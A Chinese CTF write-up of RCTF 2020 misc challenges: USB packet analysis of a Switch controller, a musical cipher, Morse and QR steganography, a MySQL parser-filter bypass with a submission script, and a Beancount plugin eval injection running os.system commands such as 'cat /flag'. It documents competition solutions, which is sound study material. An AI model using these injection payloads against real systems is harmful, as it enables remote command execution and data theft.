RCTF2020-Misc-writeup-全

博客原文

https://blog.jeffz.cn/2020/06/01/RCTF2020-Web-Misc/

Switch PRO Controller

这题张佬@SJoshua直接拿出Pro手柄分析出了手柄的协议,找到按下按键的相对时间出的flag

但是如果没有Pro手柄怎么做出这道题?于是我决定等官方wp出来自己复现一下

出题人wp:https://github.com/Littlefisher619/MyCTFChallenges/blob/master/CTFChallengeSwitch/solution_zhcn.md

通信协议

https://github.com/ToadKing/switch-pro-x/blob/master/switch-pro-x/ProControllerDevice.cpp

这里我们需要知道按下确认键,也就是A键的相对时间,查阅上述源码得知

image.png

由于是USB包,所以这里A键的掩码为0x00000800

image.png

然后控制器数据是 0x30 开头的

也就是 30:**:**:*8:**:...

然后我们开始处理pcapng包,为了方便编写脚本处理,将其导出为json

image.png

从中抽取一个有传输数据的帧来进行分析

{
    "_index": "packets-2020-03-19",
    "_type": "pcap_file",
    "_score": null,
    "_source": {
        "layers": {
            "frame": {
                "frame.interface_id": "0",
                "frame.interface_id_tree": {
                    "frame.interface_name": "wireshark_extcap2904"
                },
                "frame.encap_type": "152",
                "frame.time": "Mar 19, 2020 13:48:22.479099000 中国标准时间",
                "frame.offset_shift": "0.000000000",
                "frame.time_epoch": "1584596902.479099000",
                "frame.time_delta": "0.015945000",
                "frame.time_delta_displayed": "0.015945000",
                "frame.time_relative": "5.008677000",
                "frame.number": "289",
                "frame.len": "91",
                "frame.cap_len": "91",
                "frame.marked": "0",
                "frame.ignored": "0",
                "frame.protocols": "usb"
            },
            "usb": {
                "usb.src": "1.44.1",
                "usb.addr": "1.44.1",
                "usb.dst": "host",
                "usb.addr": "host",
                "usb.usbpcap_header_len": "27",
                "usb.irp_id": "0xffff8d8e004b0420",
                "usb.usbd_status": "0",
                "usb.function": "9",
                "usb.irp_info": "0x00000001",
                "usb.irp_info_tree": {
                    "usb.irp_info.reserved": "0x00000000",
                    "usb.irp_info.direction": "0x00000001"
                },
                "usb.bus_id": "1",
                "usb.device_address": "44",
                "usb.endpoint_address": "0x00000081",
                "usb.endpoint_address_tree": {
                    "usb.endpoint_address.direction": "1",
                    "usb.endpoint_address.number": "1"
                },
                "usb.transfer_type": "0x00000001",
                "usb.data_len": "64",
                "usb.request_in": "286",
                "usb.time": "0.023867000",
                "usb.bInterfaceClass": "3"
            },
            "usb.capdata": "30:fa:91:00:80:00:11:88:77:cb:97:71:0c:06:04:45:fd:5a:0f:d8:ff:d0:ff:cd:ff:0c:04:48:fd:5d:0f:d5:ff:d0:ff:d1:ff:0d:04:47:fd:59:0f:d3:ff:cd:ff:d5:ff:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00"
        }
    }
}

我们只需要以上的几个数据

  • _source
    • layers
      • frame
        • frame.time_relative (相对时间)
      • usb.capdata (传输的数据)

编写脚本

import json
import cv2
import os

DELTA = 6
# 与视频中按下第一个A键
JSONFILE = 'data.json'
VEDIOFILE = 'screenrecord.mp4'
FRAMES_FOLDER = 'frames'

if not os.path.exists(FRAMES_FOLDER):
    os.makedirs(FRAMES_FOLDER)


# 获取按下A键时间
with open(JSONFILE, 'r', encoding="utf-8") as f:
    packets = json.load(f)
pressed = False
frames_time = []
for frame in packets:
    try:
        layers = frame['_source']['layers']
        time = float(layers['frame']['frame.time_relative'])
        capdata = bytearray.fromhex(layers['usb.capdata'].replace(':', ' '))
    except:
        continue
    if capdata[0] == 0x30:
        if not pressed and capdata[3] & 0x8:
            pressed = True
            press_time = (time+DELTA)*1000
            frames_time.append(press_time)  # 开始按下A键的时间
            print(f'{time} : press')
        elif pressed and not capdata[3] & 0x8:
            pressed = False
            release_time = (time+DELTA)*1000
            # 设置为按下A键的时间的中间值
            frames_time[-1] = int((frames_time[-1]+release_time)/2)
            print(f'{time} : release\n')

# 提取对应帧
cap = cv2.VideoCapture(VEDIOFILE)
for i, time in enumerate(frames_time):
    cap.set(cv2.CAP_PROP_POS_MSEC, time)
    ret, frame = cap.read()
    idx = str(i).zfill(3)
    cv2.imwrite(f'{FRAMES_FOLDER}/{idx}.jpg', frame)

查看图片得到flag

RCTF{5witch-1s-4m4z1ng-m8dw65}

按照题目要求将-换成_得到

RCTF{5witch_1s_4m4z1ng_m8dw65}

Listen

提示1804

参考https://www.freebuf.com/articles/wireless/167093.html 的密码表

img

然后找个音乐人用耳朵扒谱

得到以下谱子

播放音频获取音频文件中的琴键代表的音符(C调,1是do,8是高八度的do,9是re,a是mi,b是fa,c是sol)

45678975cba984642576576756abc9a98765a9a89456576879cba98798a9576879a98765798a943322a9876576756

结合tips.txt

The flag format is  "RCTF{xxxxxxxxxx}"
PS:All letters are lowercase

对着密码表解出flag

RCTF{ufindthemusicsecret}

mysql_interface

https://mysql-interface.rctf2020.rois.io

...

import (
    "github.com/pingcap/parser"                     // v3.1.2-0.20200507065358-a5eade012146+incompatible
    _ "github.com/pingcap/tidb/types/parser_driver" // v1.1.0-beta.0.20200520024639-0414aa53c912
)

var isForbidden = [256]bool{}

const forbidden = "\x00\t\n\v\f\r`~!@#$%^&*()_=[]{}\\|:;'\"/?<>,\xa0"

func init() {
    for i := 0; i < len(forbidden); i++ {
        isForbidden[forbidden[i]] = true
    }
}

func allow(payload string) bool {
    if len(payload) < 3 || len(payload) > 128 {
        return false
    }
    for i := 0; i < len(payload); i++ {
        if isForbidden[payload[i]] {
            return false
        }
    }
    if _, _, err := parser.New().Parse(payload, "", ""); err != nil {
        return true
    }
    return false
}

// do query...
...

源码是golang

分析题意

不允许使用 "\x00\t\n\v\f\r`~!@#$%^&*()_=[]{}\|:;'"/?<>,\xa0" 这些字符,进行select flag from flag

还要绕过paser,使parser报错,但是又可以执行

简单看了下paser的源码,发现它使用关键字解析的,我们可以构造一些它不存在的关键字让它报错,但是又要mysql能执行的语句,然后就想到了注释

显然

select flag from flag --\x20

这个注释符是会被paser解析到的

但是我们可以构造

select flag from flag --\x04

(这里\x04还可以用别的,比如\x01\x02都可以)

(别的队用的 select flag from .flag 也可以绕过,还有大佬用handler做出来了)

从而使paser解析错误,又让mysql可以执行

然后将队友@Tyaoo的脚本稍微改改就出flag了

import hashlib
import requests as rq
import re


def cartesian_product():
    chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
    return [[x,y,z]for x in chars for y in chars for z  in chars]

def get_code():
    cartesian = cartesian_product()
    url = 'https://mysql-interface.rctf2020.rois.io'
    res = rq.get(url)
    hash = re.findall(r'\) = ([0-9a-f]+?)</div>', res.text)[0]
    print(f"[+] hash: {hash}")
 
    prefix = 'RCTF2020_mysql_interface_'
    codes = []
    for i in cartesian:
        i = ''.join(i)
        plain = f"{prefix}{i}"
        if hashlib.sha256(plain.encode()).hexdigest() == hash:
            print(f"[+] code: {i}")
            return i

def sql(payload:str="select flag from flag --\x04"):
    url = 'https://mysql-interface.rctf2020.rois.io'
    # payload = "select x"
    powv = get_code()
    data = {"pow":(None, powv), "sql":(None, payload)}
    res = rq.post(url, files=data)
    print(res.text)

def check():
    wl = []
    for i in range(127):
        i = chr(i)
        if i in "\x00\t\n\v\f\r`~!@#$%^&*()_=[]\{\}\\|:;'\"/?<>,\xa0":
            continue
        wl.append(i)
    print(wl)

check()
sql()
while True:
    sql(input('sql>'))
image-20200601093649227.png

其它的解法还可以看看出题人的 https://github.com/tr3ee/RCTF2020/blob/master/mysql_interface/solution/README_zh.md

bean

账本rce

可以用plugin

使用方法 https://beancount.github.io/docs/06_beancount_language_syntax.html#plugins

plugin "beancount.plugins.module_name" "configuration data"

接着搜索github库 https://github.com/beancount/beancount

  • beancount/plugins/commodity_attr.py
  • beancount/plugins/check_average_cost.py
  • beancount/plugins/divert_expenses.py
  • beancount/plugins/ira_contribs.py

发现这几个库都调用了eval()

尝试一下

plugin "beancount.plugins.commodity_attr" "__import__('os').system('ls')"
plugin "beancount.plugins.check_average_cost" "__import__('os').system('ls')"
plugin "beancount.plugins.divert_expenses" "__import__('os').system('ls')"
plugin "beancount.plugins.ira_contribs" "__import__('os').system('ls')"

发现都可以rce

随便用一个getflag

plugin "beancount.plugins.check_average_cost" "__import__('os').system('cat /flag')"

Animal

Message

int Pin=8;
void setup() {
  pinMode(Pin,OUTPUT);
}
void fun1()  // -.-. C
{
  digitalWrite(Pin, HIGH);
  delay(500);
  digitalWrite(Pin, LOW);
  delay(100);
  digitalWrite(Pin, HIGH);
  delay(200);
  digitalWrite(Pin, LOW);
  delay(100);
  digitalWrite(Pin, HIGH);
  delay(500);
  digitalWrite(Pin, LOW);
  delay(100);
  digitalWrite(Pin, HIGH);
  delay(200);
  digitalWrite(Pin, LOW);
  delay(100);
}
void fun2()  // --.- Q
{
  digitalWrite(Pin, HIGH);
  delay(500);
  digitalWrite(Pin, LOW);
  delay(100);
  digitalWrite(Pin, HIGH);
  delay(500);
  digitalWrite(Pin, LOW);
  delay(100);
  digitalWrite(Pin, HIGH);
  delay(200);
  digitalWrite(Pin, LOW);
  delay(100);
  digitalWrite(Pin, HIGH);
  delay(500);
  digitalWrite(Pin, LOW);
  delay(100);
}
void fun3()  // -.. D
{
  digitalWrite(Pin, HIGH);
  delay(500);
  digitalWrite(Pin, LOW);
  delay(100);
  digitalWrite(Pin, HIGH);
  delay(200);
  digitalWrite(Pin, LOW);
  delay(100);
  digitalWrite(Pin, HIGH);
  delay(200);
  digitalWrite(Pin, LOW);
  delay(100);
}
void fun4()  // . E
{
  digitalWrite(Pin, HIGH);
  delay(200);
  digitalWrite(Pin, LOW);
  delay(100);
}
void fun5()  // -.- K
{
  digitalWrite(Pin, HIGH);
  delay(500);
  digitalWrite(Pin, LOW);
  delay(100);
  digitalWrite(Pin, HIGH);
  delay(200);
  digitalWrite(Pin, LOW);
  delay(100);
  digitalWrite(Pin, HIGH);
  delay(500);
  digitalWrite(Pin, LOW);
  delay(100);
}
void fun6()  // ... S
{
  digitalWrite(Pin, HIGH);
  delay(200);
  digitalWrite(Pin, LOW);
  delay(100);
  digitalWrite(Pin, HIGH);
  delay(200);
  digitalWrite(Pin, LOW);
  delay(100);
  digitalWrite(Pin, HIGH);
  delay(200);
  digitalWrite(Pin, LOW);
  delay(100);
}
void fun7()  // ---.. 8
{
  digitalWrite(Pin, HIGH);
  delay(500);
  digitalWrite(Pin, LOW);
  delay(100);
  digitalWrite(Pin, HIGH);
  delay(500);
  digitalWrite(Pin, LOW);
  delay(100);
  digitalWrite(Pin, HIGH);
  delay(500);
  digitalWrite(Pin, LOW);
  delay(100);
  digitalWrite(Pin, HIGH);
  delay(200);
  digitalWrite(Pin, LOW);
  delay(100);
  digitalWrite(Pin, HIGH);
  delay(200);
  digitalWrite(Pin, LOW);
  delay(100);
}
void loop() {
// CQDEKS8
    fun1();
    fun2();
    fun1();
    fun2();
    fun1();
    fun2();
    fun3();
    fun4();
    fun5();
    // CQCQCQDEK

    fun3();
    fun4();
    fun5();
    // DEK

    fun7();
    fun7();
    // 88

    fun6();
    fun5();
    // SK

    fun6();
    fun5();
    // SK
}

摩斯电报,高电平延时500ms代表 - ,高电平延时200代表 .

具体解码看上面注释

拼起来就是CQCQCQDEKDEK88SKSK

根据以下资料

http://blog.sina.com.cn/s/blog_4b8e61600100al5m.html

https://www.douban.com/note/249330737/

http://www.wendangku.net/doc/eb93d16e58fafab069dc0288-4.html

解出电报码的含义

CQCQCQ(seek you *3 ) DE(from of) K DE(from of) K 88 SK(over) SK(over)

主体消息部分是 88,含义是love and kisses

尝试密码 Love and kisses 解出压缩包,得到一个蓝牙日志和QR码

用wireshark提取蓝牙日志,得到以下资源

  • S00429-15114219.png
  • _0ServerSendToService.txt
  • 1.png
  • secret.jpg

其中最让人在意的莫过于那张secret.jpg

secret.jpg
steghide extract -sf secret.jpg

使用 steghide 无密码,解出 flag.txt

内容为一串base64: aHR0cHMlM0EvL216bC5sYS8yV0VqbjVh

解码得到: https://mzl.la/2WEjn5a

是一个 EmojiEncrypt 的网站

这里可以选择一个个去尝试,奇怪的是这里不是正确的emoji也能得到flag(复制到剪切板发现其实多了一堆emoji),然后解出 RCTF{N0t_1s_@_B@ss}

还有一条正道就是解决QRcode的难题,这里这个QRcode不能通过正常的方法扫描

(这里吹一下QQ,扫出来了一堆东西,虽然是乱码,但是证明是有东西的

QR.png

我们可以通过 ZXing 扫出来Hex码

如下

4026c51005100fe56477232003000320030003000350030003800310033003400300020003100780031000000b6ec55006e006b006e006f0077006e0000000000000044c555006e006b006e006f0077006e000000000000001931cf8582c545bfc6d543c3afbfcfdfefcc0a0900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000055005000000000000000000000000767993390000000000000000000000009399999906000000000000000000000036979963000000000000005100000000009539000000000005001511000000000070690000000050111121120000000000305900000000001522225100000000006003000000000050212201000000005015115505000000001511050000000015212211110500000000120500000050212222222211050000501205000000102222222222221105001022050000001522222222222212a1001a220500000015222222222222222211211205000000152222222222222222222212050000001522a1212222222222222212050000001622002122222222222222140500000015221121222222222222221400000000152222222222222222224458000000001522222222222222224484010000000040444424222222424484480000000000a08888884844848888885400000000000081888888888888881800000000000000a0414444444444110500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ec11ec11

保存为文件

image.png

发现这个图形挺抽象的,尝试编写脚本将其转成图片

from PIL import Image
with open('QR.dat','rb') as f:
    dat = f.read()
print(dat)
img = Image.new('L',(160,400),(255))
i=0
while i<len(dat):
    p = Image.new('L',(10,10),(dat[i]))
    img.paste(p,((i%16)*10,(i//16)*10,(i%16)*10+10,(i//16)*10+10))
    i+=1
img.save('out.png')
img.show()
out.png

得到一条喷水的鲸,所以解码的emoji就是鲸

image.png

解码之后同样得到 RCTF{N0t_1s_@_B@ss}

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,772评论 6 477
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,458评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,610评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,640评论 1 276
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,657评论 5 365
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,590评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,962评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,631评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,870评论 1 297
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,611评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,704评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,386评论 4 319
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,969评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,944评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,179评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 44,742评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,440评论 2 342